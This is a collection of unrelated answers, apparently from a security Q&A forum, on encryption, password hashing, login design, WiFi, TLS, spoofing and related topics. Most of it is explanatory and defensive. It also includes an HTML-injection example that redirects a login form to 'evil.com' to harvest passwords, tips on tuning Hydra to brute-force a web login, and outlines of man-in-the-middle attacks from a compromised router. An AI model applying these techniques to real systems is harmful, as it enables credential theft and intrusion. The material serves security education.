How to make sure my data is secure even if someone gains physical access?

Disk Encryption seems like the easiest way to take care of your data in this situation, and password protecting your things is a great deterrent. Set a strong password on your laptop, and if you're using a USB thumbdrive with password capabilities I'd set that up too. The goal is really to mitigate the theft of the data, so when you think about this sort of protection don't think of it as how to keep the physical items safe, but how can I keep the data safe if someone got their hands on it, and in that respect the more hoops an attacker needs to jump through in order to view the data, the more deterred they will be. Consider a home security system as a point of reference; the system doesn't prevent someone from breaking in, but the threat of the alarms makes a thief reconsider.

One other method you may want to consider is backing up any personal data like this on to something like a portable HDD or a home server. If you take your laptop out and it gets stolen, at the very least you know the thief hasn't gotten away with much, and you have a backup of everything you want to keep to boot. Something to think about at least. Hope this helps!


Your chronological order is correct. Viruses can also cycle through this order.
From the Computer Security course by Dr. Indrajit Ray at Colorado State:

Dormant phase: The virus is idle. The virus will eventually be
activated by some event,

A date
The presence of another program or file
The capacity of the disk exceeding some limit.

Propagation phase: The virus places an identical copy of itself
into other programs or into certain system areas on the disk.
Each infected program will now contain a clone of the virus,
which will itself enter a propagation phase.

A virus will typically not propagate to another infected
program

Triggering phase: The virus is activated to perform the function
for which it was intended. Can be caused by a variety of system
events

Execution phase: The goal of the virus software is performed

Harmless - e.g. display message on screen
Malevolent - e.g. deletion of program or data files

There is an annotated piece of code on slide 8 that shows a virus structure. There are also atypical viruses that deviate from this cycle.


Is it possible to execute an executable with authenticated SMB?

While psexec or wmiexec (Linux python equivalent) will work, the latest Windows updates do not work with the default installation.

This is because the ADMIN$ and C$ shares are not accessible without explicit registry configuration.


Potential UEFI malware from Virus Total .rom scan

... aren't firmware dumps unique for each system?

System firmware is the software specific to the hardware - with the same hardware you can expect the same firmware and even with different hardware same firmware might be used since hardware is often similar or only part of the firmware is used with the installed hardware. This is not much different from other software, i.e. MS Office is the same binary for thousands of systems.

  it showed a huge amount of bad PE32 images

PE32 are perfectly normal on UEFI. From https://wiki.osdev.org/UEFI:

  UEFI executables are regular PE32 / PE32+ (Windows x32 / x64) images, with a specific subsystem. Every UEFI application is basically a windows EXE (or DLL) without symbol tables.

As for these images being bad:

  all of which seem to be detected by Cylance/Trapmine/Cybereason as Unsafe/suspicious.low.ml.score/malicious.random 6 char-long string respectively.

These seem to be only heuristics applied here, not pattern of known malware. With heuristics you usually get a high false positive rate (detecting something which is not malicious as malicious) if you also want to get a high true positive rate (don't miss any potential malicious things).  My guess is that these are simply false positives given that only a few engines find this.


If you are thinking of Arduino + bits, I'd recommend using an ESP8266. These are just a few dollars and come with Wi-Fi and an embedded microprocessor similar to an Arduino.

Wemos do a small fully configured ESP8266 device and a battery charge/use addon that will support LIPO batteries.

However, those might be rather restrictive in terms of what you can run on them in order to run Wi-Fi audits.

So probably better would be an SBC - Single Board Computer. Raspberry Pi's are possibly the most famous and the cheapest of those is only around $10. But there are many more. You would need to add battery and Wi-Fi (some SBC's come with that built in) and an SD card. They typically run Linux though a Pi will run Windows 10 Core if you like :-)

You would still need to get/write some software but as you are running a fairly standard OS, you can run standard network scanning/auditing tools and the like.


Have you read the manual of virtual box? It provides a lot of guidance for securing VM.

http://www.virtualbox.org/manual/ch13.html

In addition, your questions are little bit vague. Could you explain more details on what you want to achieve?


Why do some sites ask for username/email and password on two separate screens?

Security / Privacy disadvantage
There are security and privacy risks involved with this approach when badly implemented. An attacker could figure out if the email- or login already exists, when not having a default flow. As mentioned @Mario Trucco this can also be done via the registration process.

Security is at risk: Because it becomes easier for an attacker to bruteforce their way into a system. It will make guessing easier if you only need to guess a password, instead of both the username and password.
The privacy of users is under scrutiny. (Other people will know if you are listed at that website.)

Reasons why this is implemented
I found this on the Google documentation:

This new Google account sign-in flow will provide the following advantages:

Preparation for future authentication solutions that complement
passwords
A better experience for SAML SSO users, such as university students or corporate users that sign in with a different identity provider than Google

Security Advantage

It may enable more personalized customization options for security such as phrases or images providing more security options (see example below). This would reduce the scope of phishing as the screen generated would be specific to the user and would vary from user to user.
Because users can have different ways of authenticating and the identity of the user is equal to the username this will make it easier server-side to redirect traffic to the users form of authenticating

Example image

-v The users sees 'his/her' personal Image or Sound. If that image does not correspond with the image given at registration. The users knows this is a fake login.


What can an attacker achieve with admin access to a router?

depending on the router, you can set up a proxy server and redirect all traffic to said server.

This would allow you to do any MITM attacks you would normally be able to do but without having to ARP the victims. A simple google of MITM attacks could open up a large range of ideas for your self.

DNS attacks (e.g. redirection) and SSL stripping / denial are good example of things you can do if you set up a proxy server on the router.

Basically redirecting traffic to a device to handle it with your rules is a start, and then decide what you want to do from there.


Where are the private keys stored in Persona/Browser ID?

Tom is right that once browsers have native support for Persona, they will be able to store keys in their keystore.

Currently, however, browsers using the JavaScript shim make use of localStorage to store the keys in a way that only the shim is able to read and write them: https://speakerdeck.com/fmarier/persona-in-your-browsers-killing-your-passwords?slide=87

The keys themselves are created client-side in the browser but making use of entropy coming from the login.persona.org server.


How to keep important data secure in case of total compromise?

Write additional backups to media (DVD/Blu-ray/Tape or a hard disk) and store them offline. This place has to be save from theft, physical damage, ...
Write your logs to another server using rsyslog. This should be a hardened server and remote login must be disabled.

You should also think about encrypting your backups. So if someone gains access (remote @S3 or physical with your backup data) he can not take advantage of your data. Asymmetric encryption has the benefit of allowing you to keep the private key of your system.


Having trouble with FindBugs exclude filter

The problem I found out was with the filename of xml file provided as filter. After changing the name of filter from "filter-ECB.xml" to "filterECB.xml", the scan completed without any error from command line with -textui parameter.


"Username and/or Password Invalid" - Why do websites show this kind of message instead of informing the user which one was wrong?

If a malicious user starts attacking a website by guessing common username/password combinations like admin/admin, the attacker would know that the username is valid is it returns a message of "Password invalid" instead of "Username or password invalid".

If an attacker knows the username is valid, he could concentrate his efforts on that particular account using techniques like SQL injections or bruteforcing the password.


Can we consider injection of HTML tags without event attributes as XSS?

No, I would not call that cross site scripting, since there is no actual scripting involved. But that does not mean it is not a security risk! The correct term for the vulnerability would be "HTML injection", and as you note in your question it can be a dangerous thing.

Here's another example, just to show how HTML injection can indeed be used to cause real damage. Let's say you have this PHP code:

echo "<form method='post' class='" + $untrusted + "' action='login.php'>";

And lets say that $untrusted is set to ' action='http://evil.com. No need for XSS when you can harvest passwords using pure old HTML.


Preferred access mode for a directory with PHP scripts and the PHP script itself

Always try to use the minimum permissions required to do the job, like this you can protect against current and unknown threats. With this in mind, there are three requirements that can be extracted from your explanation:

john needs to be able to read and edit the files
www-data needs to be able to read the files
Other users on the system have no business with the content of the files

To meet these requirements one common pattern is to create a group with only john and www-data as members, say phpgroup and have the PHP files (and the directories where these are located) owned by user john and group phpgroup.

For files the permissions will then be 640 (rw-r-----) and for the directories you will need to add the execute bits so that both users are able to change to it, e.g. 750 (rwx-r-x---).


How does encryption, certificates in an end to end SSO flow?

The IdP will sign either the SAML response of the SAML assertion using its private key. The SP verifies the signature using the IdP's public key.
It's also possible to encrypt the SAML assertion in which case the IdP encrypts the assertion using the SP's public key and the SP decrypts the assertion using its private key.
So, an IdP-initiated SSO flow might see the IdP signing the SAML assertion using its private key followed by encrypting the signed assertion using the SP's public key. The encrypted assertion is bundled into a SAML response and sent to the SP. The SP decrypts the SAML assertion using its private key and verifies the signature using the IdP's public key.


Hydra: Brute force an http form, all arguments are supplied but the login error has other string formats and is too big

Typically you'd want your match string to just be long enough to prevent any false negatives/positives and nothing more.  Given that your string includes accented characters, I would also strongly recommend checking how the landing page renders them.  Hydra will be looking at the HTML source, not how a browser would render it.  It's possible that é is written as &eacute; in the HTML source code.

Furthermore, given that your login only redirects on successful logins, it may be worth checking for the positive case (login successful) instead of the negative case (login failed).  Hydra will follow redirects, so you could match text that only appears on the landing page (e.g. the presence of a "log out" button).  You can find details on using a positive test case here.

As for cookie matching, Hydra appears to search the entire HTTP response, headers included.  That said, the cookie value you posted is unlikely to be useful.  It's a session cookie which is meant to be unique to each visitor of the website.  Most websites will set a session cookie even if the visitor isn't logged in.  While it may be the session cookie assigned to your successful test login, it's astronomically unlikely that it'll ever be that same value again.


Preventing a site from appearing in the 'Most Visited' or 'speed dial' section of a web browser

This is an interesting question why I was looking into the source code of Chromium too see how they do it.

The Answer

It is nearly impossible to implement a 100% reliable feature to prevent a screenshot that will be used in the most visited view. You have to hide the sensitive content right the moment the service is storing the data. Which might happen all of a sudden and without a warning (at least from the view of the website).

Technical Details

They have a service running which is responsible to evaluate the top sites. There is another service which is responsible to create screenshots of such pages. In top_sites_impl.cc there is TopSitesImpl::GetUpdateDelay which returns the interval for creating such images. The default value is 30 seconds:

if (cache_->top_sites().size() <= prepopulated_pages_.size())
   return base::TimeDelta::FromSeconds(30);

But it might get much more complex then that:

int64_t range = kMaxUpdateIntervalMinutes - kMinUpdateIntervalMinutes;
int64_t minutes = kMaxUpdateIntervalMinutes -
                last_num_urls_changed_ * range / cache_->top_sites().size();
 return base::TimeDelta::FromMinutes(minutes);

Furthermore there have to be some special events met to re-initiate this update mechanism. This is implemented to prevent spamming the top pages service.


Can a truncated crypto hash of a truncated crypto hash help harden a resource against attacks?

Ultimately, this scheme isn't especially secure, since, as kelalaka points out, this doesn't provide enough security with hex characters.
If you can store arbitrary binary in these fields, I would use either a SHA3-224 or a BLAKE2b-224 hash for this purpose, since it's going to be able to store the entire thing there.  SHA-224 (the SHA-2 variant) is also okay if you're certain your application doesn't need significant resistance against length-extension attacks.
If you can't store arbitrary binary, then I'd store it in Ascii85 (without the start and end markers) or base64url encoding if possible to get as many bytes as possible out of the encoded characters.  In this case, I'd use BLAKE2b because it can be truncated specifically to any number of bytes, although SHA-512/t is also a possibility.  The latter may be hard to find as a generic function in major crypto libraries, though.  You can use a truncated function here, but it's preferable to use a hash of exactly the right length.
I'd stick with one strong algorithm over the main data here instead of splitting it between multiple algorithms.  I don't think you gain anything with multiple algorithms, and SHA-2, SHA-3, and BLAKE2b are all thought to be robust and strong.  Ultimately, your goal is to provide as many bits as possible to hard against the canonical attacks, and there's no reason to think hashes of hashes provide any better integrity there.
I would definitely not use MD5 or SHA-1 in any new application for any purpose.  They are known to have significant weaknesses when it comes to collisions and things won't be any better when you truncate them.  In general, unless you get advice from a reputable cryptographer that you should use MD5 or SHA-1 in a new application, you should not.  Even if you don't need cryptographic security, another option is better.


Secure key exchange in web between pages

Just use TLS, please. Trying to roll your own security like that is a recipe for disaster. Really. As Scheiner law goes any person can invent a security system so clever that she or he can't think of how to break it.
Even if you were a smartest of all cryptographers ever alive (in which case you really wouldn't be asking), it is unlikely you'd get it right -- it took decades for hundreds of smartest of them to come up with TLS, and it still has rough edges.

So, if you want a chance at making it secure, use TLS (as shown in this and previous question comments). Even just using TLS securely without exposing yourself to dozen attacks (side channel, xss, etc) is hard. Without it, it is pretty much impossible. And if security is not really your goal, then just obfuscate it with ROT13, or Base64, or XORing with hardcoded password or some other quick and easily crackable scheme and get it over with -  at least you won't be lulling yourself with false sense of security.


How trustable are third party root certificates?

It's safe as long as you understand the implications.

Fiddler acts as a proxy / man in the middle to intercept and decrypt traffic between you and the target.

For SSL sites, it does this by dynamically generating an SSL certificate with the name of the target. The problem is that your browser will not trust certificates issued by Fiddler, hence the suggestion to install the Fiddler Root certificate.

The reason this could be bad is that if a malicious user generates an SSL certificate signed by the Fiddler root for a site like...let's say....www.bankofamerica.com - your browser will automatically trust the "fake" certificate.


How can I track whether a pdf was opened or not?

You really need an exploit in a PDF viewer (Adobe Reader being the most common) to have a reliable way to track an action on a PDF file.

Because in normal operation, a PDF reader should never try to open a network connection or execute code on the local machine. The most that is allowed is to open a browser (or another PDF file) when the user clicks on a link.

So if you want to be immune to antivirus, mail filters and other anti malware, you must do what actual malware do: find a flaw in an application and exploit it.

The good news here is that Adobe Reader has not a very high security reputation, the bad news is that it is not enough to make it simple to find any exploitable vulnerability.


Is it a risk to highlight text while reading a webpage?

This sounds related to what NoScript's ClearClick is designed to prevent.  (The protection applies even if you have NoScript set to "Allow Scripts Globally").


Why is subject verification an effective means to detect MitM attacks in TLS?

Here is my attempt to answer the question, based on my research in the meantime.

The attacker may obtain another certificate from a trusted CA, but he is unable to alter this certificate in any way. The assumption is that the CA will not issue a certificate for the subject under attack to the attacker, since he cannot prove that he owns the subject (domain name).

When the attacker tries to mediate the traffic between the client and server in a MitM attack, he has to present his own certificate to the client, instead of the servers, to be able to eavesdrop on the traffic. If the client performs subject verification, he will see that the attackers certificate does not contain the correct subject, even though his certificate is coming from a trusted CA. This way subject verification can detect MitM attacks.


Offline Bruteforce attack against a Bitlockered Windows PC

The attack you outline is a fundamental problem for all types of encryption: If you want to use a password as the (source of) the encryption key, the password must have as much entropy as the desired encryption strength, otherwise you are vulnerable to offline brute-forcing.

So yes, if Bitlocker just used the password you entered as the (source of) the key, it would be vulnerable to this attack.

Bitlocker provides multiple authentication mechanisms, which address this problem in different ways.

The recommended mechanism (AFAIK) is to use the computer's Trusted Platform Module (TPM). With TPM authentication (called Transparent operation mode with Bitlocker), the TPM chip stores the Bitlocker key. The TPM is specifically designed to only release that key if  certain password/PIN is provided, and to limit the number of authentication attempts. Therefore a comparably weak password/PIN is enough, because the password cannot be attacked off-line, as it is stored in the TPM.
Another solution is to use USB Key Mode. In that mode, either the key is stored on a USB key (optionally protected by a password), or a special USB device is used which performs secure authentication (similar to a TPM chip). Again, an off-line attack is not possible, because the key is stored on the USB device. However, if the USB device is just a simple storage device, an off-line attack against it is possible (thus it must be stored very securely).

USB Key Mode and TPM can be combined for even better security.

Note that it is possible to use Bitlocker without a TPM chip (though this is apparently not recommended by Microsoft). If you do that, then you are indeed vulnerable to password bruteforcing attacks, so you need a password with sufficient entropy, i.e. at least 128 bit, better 168 bit.

For an extensive discussion of the design choices, security tradeoffs and technology of Bitlocker, see the paper AES-CBC + Elephant diffuser,
A Disk Encryption Algorithm for Windows Vista by Niels Ferguson, available from http://go.microsoft.com/fwlink/?LinkId=80598 .


I do not know if your question is about dictionary attacks in general, or dictionary attacks in the case of a WiFi network with password protection.

For the general question of dictionary attacks: there are two kinds of dictionary attacks, the online attacks and the offline attacks. An offline attack is one such that the attacker got enough data to "test" passwords on his own machines, at a rate which is limited only by whatever computational power he can muster. For instance, the attacker got a copy of the hash of a password. On the other hand, an online attack is one where the attacker must interact with an "honest" system (one which knows the correct password, e.g. a target server, or the client itself) for each guess.

A password "strength" can be measured by its entropy, which is a way of stating how many values that password could have assumed. For instance, a password with "25 bits of entropy" is such that it has been chosen randomly (and uniformly) among a list of 225 possible passwords. The notion of entropy can be refined a bit in case the password selection process is not uniform: we say that a password has n bits of entropy if an attacker trying a list of potential passwords, in decreasing order of probability (i.e. beginning by the most frequently chosen passwords), will hit the right password after an average of 2n-1 trials. Depending on your user base, you might have a bit of success at educating your users into choosing strong passwords, but it is not realistic to expect more than, say, about 32 bits of entropy (if you enforce too strong password selection rules, users will actively work against you, e.g. by writing passwords on stick-up notes or sharing passwords with other sites or other users).

The first mitigation in the presence of offline attacks is to use a salt: the idea is to "tweak" the password-verification data that the attacker can know with a publicly known value (the "salt"), which is different for each password. This will not hinder an attacker bent on breaking a single password, but it will prevent cost sharing: if the attacker wants to break 10 passwords, it should cost him 10 times the cost of breaking one. Precomputed tables, in particular the much hyped rainbow tables, are a specific case of cost sharing. A good salt is chosen randomly and uniformly with a good random generator, and stored along with the password hash.

The second mitigation is to make password derivation expensive: you do not hash once, you hash ten thousand times. This makes normal password usage (for verification) 10000 times slower (but this can often be tolerated: we are talking about 10ms instead of 1µs) but also multiplies the work factor for the attacker by 10000 (which turns, say, a one-minute attack into a one-week attack). Security is then achieved if 2n-1 > p*s where n is the password entropy, p is the ratio between the attacker's and the user's patience (e.g. if the attacker is ready to invest one week of effort and the user cannot wait for more than one second, the ratio is 7*86400 = 604800), and s is the ratio between the attacker's computing power and the normal system power (e.g. the attacker has 20 PC with big GPGPU, and the normal system is a smartphone: this brings s in the range of 500 or 1000).

Bcrypt is the oft-recommended password hashing method, which combines a salt and a configurable number of iterations.

A more thorough solution is to avoid offline dictionary attacks: you should not let an attacker get hold of any data which allows him to perform such an attack. In a Web/Internet context, this means that, for instance, you will perform authentication within a SSL/TLS tunnel (something known as "HTTPS"). You would still want to do good password hashing for password storage on the server, in case the attacker gains a read-only access to your database. Another kind of protocol is Password Authenticated Key Exchange: a cryptographic protocol which results in a shared key (suitable for subsequent symmetric encryption of data), with mutual authentication of client and server relatively to a password; this protocol can be played in full view of the attacker and it is still inherently resistant to offline dictionary attacks. The most recommended PAKE protocol is SRP.

If you can force the attacker to play things online, then you can thwart him by enforcing arbitrary limitations in the number of requests he may submit. The most extreme case is what smartcards do: after three wrong PIN, the card commits suicide. Weaker rules (e.g. refusing to process more than 10 guesses per minute) will already dispel most attackers.

About WiFi: there are several authentication protocols which can be used in WiFi. In WEP and "WPA-Personal" systems, authentication is called "PSK" (pre-shared key): encryption and integrity checks will be performed with keys derived deterministically from the WiFi password. This gives plenty of data for an attacker who wishes to perform an offline dictionary attacks. Since the key derivation protocol does not include provisions for a high number of hashing iterations (after all, it must be implementable with 30$ home routers), dictionary attacks tend to be quite effective. So the only real defense here is to select big fat random passwords, so that the entropy is high.

With "WPA-Enterprise", authentication is done through a generic layer called EAP, which encapsulates messages for an underlying protocol; the base station is supposed to forward those messages to a RADIUS server. There are many authentication protocols which are then applicable, some of which being of the PSK persuasion; but others are arguably stronger. For instance, there is an EAP-EKE, which is a PAKE protocol, hence resilient to offline dictionary attacks; another one is EAP-TLS, which internally performs a full SSL/TLS handshake, and thus, potentially, may use SRP-with-TLS.

Thus, with WPA-Enterprise, you may use authentication protocols which tolerate passwords with relatively low entropy, but this depends on what the client and the base station will support.

A word to the wise: I only talk about the use of passwords in WiFi authentication. I do not claim that once authentication has been performed, the WiFi link is adequately secured. It is best to treat a WiFi link as an Internet-like link, subject to eavesdropping; the main goal of the authentication protocol is to deter attackers who want a free Internet access.


How can I interpret openssl speed output?

It ran md4 as many times as it could for 3 seconds
This is how many times it managed to complete in 3 seconds
This is the size of blocks used. You can see how much longer a block of 8192 takes than a block of 16


SMPP is an application layer protocol and is not intended to offer transport functionality. It is therefore assumed that the underlying network connection will provide reliable data transfer from point to point including packet encryption.

Vulnerabilities that are found in SMPP protocol:

Zero Confidentiality: As there is no encryption standard specified in
SMPP, messages sent from A to B travel in plain text.
Man-in-the-middle Attack: The attacker can make independent connections with the victims and relay messages between them, making them believe that they are talking directly to each other when in fact the entire conversation is controlled by the attacker.
Message Tampering: There can be the deliberate altering or adulteration
of protocol information. This may lead to text messages being tampered
with before they get to the recipients.
No Endpoint Authentication: As there is no confidentiality, attackers can
easily compromise the login details of the SMSC. Attacker can
authenticate himself as an authenticate user and can misuse the
messaging services.

Therefore, if you want to secure SMPP communications you must do so using TLS and both your clients and servers must support it. By introducing
Transport Layer Security, Secure SMPP is capable of satisfying security
parameters of confidentiality, integrity and authentication.

As a one-sentence answer to your questions: if it uses TLS the SMPP communication secure, if there is no TLS, it is not and anyone with network access may intercept and read it.


If you solicit PAN data via email, it's likely easier to provide the corresponding person a HTTPS interface through which they can communicate their PAN via text boxes. You can then control how submission works such that you can securely encrypt and store the data on receipt.

If you solicit files containing PAN, it's probably easier to use an SFTP server.

You could request that the person add the PAN to a file attachment. The person could encrypt the file using a random password (which would use a Password Based Key Derivation Function) and encrypt the file using an AES 256-bit key. The password used could then be communicated via a separate communications channel.

You could use PGP/GPG email encryption if you and the correspondent have this available.


Using full name, DoB and signature some banks will allow resetting of login details. Essentially, take the perspective "how accurately can this information prove I am Jon Smith" enough to convince an organisation that you are Jon Smith.

Government issue ID with proof-of-address will generally be enough information to allow for bypassing most authentication systems. Although, without an NI number credit/loans typically cannot be taken out.

However, to answer your initial question, identify fraud is less likely, but a potential issue with the government issue ID and proof-of-address. Furthermore, accessing your bank account is very unlikely, and would require access to mail delivered to your address on file, although this should be confirmed for your own bank.


side channel attacks - powered off system with physical access

No.  A side channel attack is one that monitors a cryptographic process while it's operating, and uses leaked information to determine the secrets.  Examples include: monitoring the CPU for RF emissions while it is encrypting, monitoring the power consumption of the CPU while it is encrypting, monitoring the time it takes to encrypt, monitoring the noise the CPU makes while it is encrypting.  In every case, the encryption it is monitoring is already legitimately in possession of the key.

A powered off system that does not have the key will never perform a legitimate encryption/decryption operation.  Therefore it has no attack surface for a side channel attack.

It is still susceptible to other attacks such as password guessing, forensically examining the swap file to see if the legitimate password was ever stored in memory that was swapped out, or threatening the former keyholder until he reveals the key. Just not side channel attacks.

EDIT

A comment below asks if the attacker could extract the password from components.

Generally the key bits won't remain in dynamic electronic components for very long (exclusive of freezing the DRAM chips as @TomLeek points out.) Components such as bus latches, network adapters, etc., won't typically ever house the key, and even if they did, their memory buffers are generally very short, dynamic, and designed only for transient data.

Some people have theorized that a key stored for an extended duration in the same physical cells of RAM might cause a "burn-in" effect such that the memory cells could be differentiated with some specialized equipment or software.  The theory is that if you knew which cells held the key bits, you could determine how long they can hold a charge before requiring refresh.  The idea is that a bit that held a 1 might decay from a 1 state slower than from a 0 state.  Such attacks have been demonstrated in a laboratory environment, and who knows, perhaps a government may be able to use them in a high profile spy case, but are not within the capabilities of an ordinary police investigation.  Criminal organizations are not yet known to have these capabilities.

PGP Desktop marketing calls this effect "static ion migration" and attempts to mitigate this avenue of attack by keeping two copies of the key, and periodically inverting the key bits of each.  (Ironically, it turns out to be a blessing for side channel attacks, as a RAM scraper can efficiently look for memory that is the bit inverse of another area of memory.)

See this paper, RAM is KEY for more on finding keys in volatile memory.

If the key was ever stored to permanent storage, such as HDD, flash, or CMOS, though, recovery becomes possible.  The application has to keep track of every place it might have been written, and overwrite it.  That's almost impossible with flash memory, because the wear leveling algorithms continually move where data is stored.


This is a weird assertion. A block cipher in OFB mode is, functionally, a stream cipher which produces a key-dependent stream of pseudorandom bytes; encryption is then just a XOR of the stream with the data to encrypt (and decryption is identical). Data size is quite irrelevant; to the contrary, OFB is one of these modes which require no padding.

What the commentator probably meant is that OFB should not be used with less than full-block feedback. The "normal" OFB is what is described on the Wikipedia diagrams: each output block (from the block cipher) is used as input for the next block cipher invocation. However, in older times, OFB used a partial feedback, in which the input for the block cipher used only part of the output from the previous block. OFB with partial feedback is slower than normal OFB and was meant to support transmission mediums which lose synchronization. Since OFB with partial feedback turned out to be significantly weaker than full-block OFB, the standard deprecated it. My guess is that the comment you quote was about OFB with partial feedback.

Nobody does OFB with partial feedback, except PHP where the MCRYPT_MODE_OFB constant selects OFB with 8-bit feedback (we can count on PHP to select weak and inefficient default values whenever possible; they are very creative that way).

See the Handbook of Applied Cryptography for details (chapter 7, section 7.2.2). Anyway, even full-block OFB can be considered as inferior to CTR on all points and should be avoided (see this answer for more details). And, of course, authenticated encryption like EAX are much better.


What person should I write a penetration test report as?

Some other options:

Passive voice: A vulnerability in HP Power Manager was discovered...

Present tense: HP Power Manager is vulnerable to...

It is most common (in the UK at least) to use the passive voice. I prefer using present tense when possible, and first person plural otherwise; the writing feels more personal. But this is controversial; a lot of people think reports are supposed to be formal and not at all personal.


I'd suggest the following:

Practical attacks against WEP and WPA  (see also this Ars Technica summary)
Brute forcing Wi-Fi Protected Setup, and Dan Kaminsky's explanation and follow-up
Cryptanalysis of IEEE 802.11 i TKIP
A Practical Message Falsication Attack on WPA
Hole 196

Read Wikipedia's article and search on this site for WPA and WPA2.  (Actually, that would have pointed you to many of these, and then standard literature search techniques find the rest.)


A secure pseudo-random number generator (CSPRNG) is about as secure as you are going to get. Both of the references you point to are CSPRNGs so either should be sufficient for an IV. Hashing doesn't make random more random. Using two different mechanisms makes no sense and doubles the chance of making a mistake.

In the case of GenerateIV, things are already random so the subsequent hashing and addition of more random data doesn't help.

The use of the MAC address and time to create the initial array seems rather pointless as both of them are far from secret. If the computer's MAC address is known to an attacker and the time, they can quickly guess the exact time stamp. So all of the randomness from this IV creation comes from the from the random bytes added at the end. Perhaps that is sufficient, I can't tell without seeing the actual code.

Note that, according to Kercckhoff's principle, there is no added benefit obtained by using a secret algorithm.

My advice is to simply use the data from GenerateIV as your IV and to do this in all cases.


Security testing plan template or example


How does IP address spoofing on the Internet work? Who can do it?

IP Spoofing is NOT IP Hijacking which is causing confusion for anyone reading this. IP Spoofing at its minimum / bare bones explanation is also called impersonation. Let's have an ASCII look at what it does, and how it happens:

You (1.2.3.4) --> connect to your bank --> Bank (2.2.2.2)

In spoofing, I can pretend to be anyone I want, if I am on your network:

Me (1.2.3.4) to you --> I am 2.2.2.2 --> You
Me (1.2.3.4) to you --> I am Google.com --> You

This is a moot point because if you respond, I will NEVER see the response, I am not 2.2.2.2 nor Google. This is called blind spoofing. For impersonation, I want to pretend to be your bank without you knowing this, because I want to steal your money. Therefore I need to see your responses and your bank's response. Now I have to perform multiple impersonations. I have to pretend to you, that I am your bank, and I have to pretend to your bank, that I am you:

Me (1.2.3.5) --> to your ROUTING handler (be it a router or your routing table)
Me (1.2.3.5) --> I am 2.2.2.2 --> You
Me (1.2.3.5) --> I am 1.2.3.4 --> Your bank

For this to occur I MUST be in your infrastructure. Think of this as a proxy server. Using a proxy server the connection is the same:

Me (1.2.3.5) --> proxy server (1.2.3.10) --> Bank (2.2.2.2)
Bank responds --> proxy server --> Me

Traffic needs to flow to and from. In an IP Hijacking scenario, data is relayed, hence there is no spoofing (I can proxy to see everything) BGP Hijacking enables watching the wire. Someone ON the network that is performing the hijacking can then perform the spoofing.

Now in the case of an ISP/NSP/NAP, a government may take this approach:

You (1.2.3.4) --> ISP (1.2.3.1 default route) --> Bank (2.2.2.2) # Normal connection

In the above, this would be the non-tampered session that would occur. In say an NSA tapped network this is what would occur:

You (1.2.3.4) --> ISP (1.2.3.1) --> internal ISP proxy <-- NSA (1.2.4.1) --> Bank (2.2.2.2)

From your perspective, you are connecting to your ISP, then to your bank. You will never (and can never) see the proxying occurring. This is the kind spoofing/masquerating/impersonation done with systems created by companies like Narus that used a tap at AT&T to tap main connections.

There is little to be done on a scale of eavesdropping like this, as government agencies have the capabilities of using SSL certificates, and other means to prevent you from knowing what is going on. VPN tunneling won't prevent it, as you are at the mercy of your provider, and a warrant is a warrant.

There is no need for "BGP Hijacking", BCP filtering to even enter this discussion as BCP filtering will not counter the above proxy example. BCP filtering covers spoofing, not proxying, nor hijacking. If an attacker manages to manipulate the routing table on say your operating system, BCP is a moot point.


What are the repercussions of a DDoS attack on a website?

All a denial of service attack (of which a DDoS is a specific type) does is deny legitimate users access to the site. Anything further is a separate attack. Any repercussions are just those arising from the site no longer being accessible to legitimate users for a time (availability being one of the three pillars of security, which is why this is a security issue even though there is no data breach and no malicious users get control of the site).


Multiple Independent Levels of Security vs Multilevel security

MLS and MILS are general concepts rather than technical solutions.

Usually 2 networks are connected with a router inbetween. The router has ACLs or firewall features which allow you to filter the traffic between both networks.


Should I keep old or expired SSL crt, cabundle and key files

It's expired so it's no good for daily use. But it might be able to decrypt previous data. If you don't plan on recovering that, destroy the damn thing. In linux, this can be done with the shred command.


About 10 years ago, browser hijacking attacks by drive-by downloads were extremely frequent. One of the most famous malwares of this kind was CoolWebSearch, named after the web startpage it set on the infected system (which was in fact one of the more harmless "features" it had). But this malware is just one example of many. Often, a system could be infected just by visiting an infected website with a vulnerable web browser.

The majority of these hijackers targeted vulnerabilities in a Windows program called Internet Explorer*. The reason MSIE was so vulnerable back then was because Microsoft wasn't really taking security as serious as they do today. Also, those security patches they released had to be installed manually by the user, which most users didn't do.

However, in the past few years Microsoft started to take security and patch management a lot more serious. Internet Explorer is now updated automatically (just like most other browsers) so the number of users vulnerable to patched vulnerabilities went down dramatically. As a result, browser hijackers became a lot less frequent. However, they haven't died out completely.

*) The tool you run after a Windows installation to download a web browser.


Data Encryption by Application vs Data Encryption in Database

Letting your database handle the encryption/decryption is probably for the best:

You don't need to write any encryption/decryption code and risk breaking your own security by accident. This also means, as Guntram Blohm pointed out, you won't have to prove your own security to be secure, if it comes down to it. And proving your custom software secure is as hard as you probably think it is, if not moreso.
Using the stuff built-in to your database is typically easier, e.g. Postgres lets you pick which columns and tables to encrypt, and their design only briefly has the keys and decrypted data on the server. Other databases are probably similar, but that's the only one I'm familiar with.
If you ever need to, say, generate a report based on the data, it'll be simpler to do that with an existing tool that supports encrypted databases than writing all the custom code yourself on the client-side.
If you ever need to do any filtering on the data that isn't on exact, case-sensitive values, the database will handle doing it efficiently for you, e.g. maintaining indices but keeping them encrypted until they're needed, and even then only decrypting the specific values they need at any given time.

There is one point in favor of client-side encryption, which you've already mentioned. It's a big one, but I don't think it outweighs the benefits above:

Your security will be slightly increased if you handle all encryption/decryption on the client side, because at no point does the database (and therefore any evil sysadmins/attackers in control of that server) know either the decryption key or the decrypted data. However, depending on the data and its usage, there are some cons to consider:

It's entirely possible you'll mess up your client-side encryption code and leak the data/key that way, either directly or through side channels.
You need to either trust an outsider or handle key-management yourself, which isn't trivial (and is very not trivial to support in code, if you want to avoid scheduled downtime every so often)
If you do mess up your code, you alone (well, your company alone -- you know what I mean) are responsible for fixing it and cleaning up the damage, and any fixes are just as likely to have bugs as your original code. Possibly more, given that you'll be stressed.
You'll either have to spend a lot of time performance tuning, or accept that your performance will be bad, or reduce security for easy performance gains (e.g. by short-circuiting a comparison or precalculating some constants or letting your compiler optimize the wrong bits). None of those are good things to do. The database server has already had a lot of people doing a lot of tuning; you'd be redoing all that effort from scratch.
For every single new dev, you'll need to either train them in good secure coding practices, or tell them not to touch the security-related bits of your code, neither of which is cost-effective or even generally that reliable.
If you need to implement fuzzy filtering client-side, you're basically going to have to do SELECT * FROM table; and manually decrypt and filter every single row, which is just... not going to go well. You'll be keeping the key in memory in a directly-web-accessible server for a long time, as a direct response to a request which can be sent by an attacker.

